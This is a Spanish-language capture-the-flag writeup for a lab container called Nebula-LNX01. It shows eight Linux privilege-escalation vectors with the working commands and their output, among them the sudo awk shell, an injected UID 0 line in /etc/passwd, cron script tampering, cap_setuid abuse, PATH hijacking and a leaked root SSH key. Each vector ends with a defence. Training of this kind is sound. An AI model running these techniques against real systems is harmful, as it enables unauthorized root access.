Writeup — Nebula-LNX01
Todas las salidas son reales, capturadas explotando el contenedor de verdad tras entrar por SSH como leo.
Enumeración inicial
$ ssh leo@localhost -p 2222 # contraseña: leo123
id
uid=1000(leo) gid=1000(leo) groups=1000(leo)$ sudo -l ; find / -perm -4000 -type f 2>/dev/null ; getcap -r / 2>/dev/null
(leo) NOPASSWD: /usr/bin/awk
/usr/local/bin/readlog
/usr/local/bin/netcheck
/usr/local/bin/pythonsuid cap_setuid=epVector 1 — Binario SUID que lee ficheros
★★
readlog es SUID root y hace cat de la ruta que le pases, sin validarla: lee cualquier fichero como root.
$ readlog /root/flag1.txt
GO{suid_binario_que_lee_como_root}Flag: GO{suid_binario_que_lee_como_root}
Defensa: no hacer SUID binarios que aceptan rutas del usuario; validar la entrada.
Vector 2 — sudo sobre awk
★★
sudo -l muestra NOPASSWD: /usr/bin/awk. Según GTFOBins, awk ejecuta comandos con system():
$ sudo awk 'BEGIN{system("cat /root/flag2.txt")}'
GO{sudo_awk_es_una_shell_root}Flag: GO{sudo_awk_es_una_shell_root}
Defensa: no dar sudo sobre binarios que pueden ejecutar código arbitrario.
Vector 3 — /etc/passwd escribible
★★★
ls -l /etc/passwd lo muestra -rw-rw-rw-. Se añade un usuario UID 0 con una contraseña propia y se hace su:
$ echo 'hacker:'$(openssl passwd -1 hackpass)':0:0::/root:/bin/bash' >> /etc/passwd
su hacker # contraseña: hackpass
id ; cat /root/flag3.txt
uid=0(root) gid=0(root) groups=0(root)
GO{passwd_escribible_es_game_over}Flag: GO{passwd_escribible_es_game_over}
Defensa: /etc/passwd debe ser 644 y propiedad de root. (Login SSH como UID 0 puede estar bloqueado por PermitRootLogin; por eso se usa su.)
Vector 4 — Cron de root con script editable
★★
En /etc/cron.d/backup, root ejecuta /opt/backup.sh cada minuto, y ese script es escribible por leo. Se le añade un comando y se espera al disparador:
$ ls -l /opt/backup.sh # -rwxrwxr-x leo leo
echo 'cp /root/flag4.txt /tmp/f4.txt; chmod 644 /tmp/f4.txt' >> /opt/backup.sh
# esperar ~1 min
cat /tmp/f4.txt
GO{el_cron_de_root_ejecuta_tu_script}Flag: GO{el_cron_de_root_ejecuta_tu_script}
Defensa: los scripts ejecutados por cron de root no deben ser modificables por usuarios.
Vector 5 — Capability cap_setuid
★★★
getcap revela cap_setuid+ep en una copia de python. Con ella, el proceso cambia su UID a 0:
$ /usr/local/bin/pythonsuid -c 'import os; os.setuid(0); print(open("/root/flag5.txt").read().strip())'
GO{capabilities_cap_setuid_es_root}Flag: GO{capabilities_cap_setuid_es_root}
Defensa: no asignar cap_setuid (ni cap_dac_*, cap_sys_admin) a intérpretes.
Vector 6 — Secuestro de PATH en un SUID
★★★
netcheck es SUID root y llama a id sin ruta absoluta. Se coloca un id propio en el PATH:
$ cd /tmp
printf '#!/bin/bash\ncat /root/flag6.txt\n' > id && chmod +x id
PATH=/tmp:$PATH /usr/local/bin/netcheck
GO{path_hijack_del_binario_suid}Flag: GO{path_hijack_del_binario_suid}
Defensa: los programas privilegiados deben invocar los binarios con ruta absoluta.
Vector 7 — Credenciales reutilizadas → maya
★★
Un backup legible filtra la contraseña de maya, reutilizada para su cuenta del sistema. Es la única flag que no está en root, sino en el home de maya:
$ cat /var/backups/site.conf
db_user=maya
db_pass=maya-Th3-Cat! # reutilizada para la cuenta del sistema$ su maya # contraseña: maya-Th3-Cat!
cat /home/maya/flag7.txt
GO{credenciales_reutilizadas_su_a_maya}Flag: GO{credenciales_reutilizadas_su_a_maya}
Defensa: no dejar credenciales en ficheros legibles ni reutilizarlas entre servicios y cuentas.
Vector 8 — Clave SSH privada de root filtrada
★★
Un backup deja legible la clave privada SSH de root. Con ella se entra por SSH directamente como root:
$ cp /var/backups/id_rsa_root.bak /tmp/k && chmod 600 /tmp/k
ssh -i /tmp/k root@localhost 'cat /root/flag8.txt'
GO{la_forma_de_escalar_estaba_en_un_secreto}Flag: GO{la_forma_de_escalar_estaba_en_un_secreto}
Defensa: las claves privadas nunca deben acabar en backups o rutas legibles por otros usuarios.
Resumen
| # | Vector | Señal en la enumeración |
|---|---|---|
| 1 | SUID que lee ficheros | find -perm -4000 → readlog |
| 2 | sudo awk | sudo -l → NOPASSWD awk |
| 3 | /etc/passwd escribible | ls -l /etc/passwd → 666 |
| 4 | cron con script editable | /etc/cron.d/ + script escribible |
| 5 | capability cap_setuid | getcap -r / |
| 6 | secuestro de PATH | SUID que llama a binario sin ruta |
| 7 | credenciales reutilizadas | contraseña en /var/backups |
| 8 | clave SSH filtrada | id_rsa en un backup legible |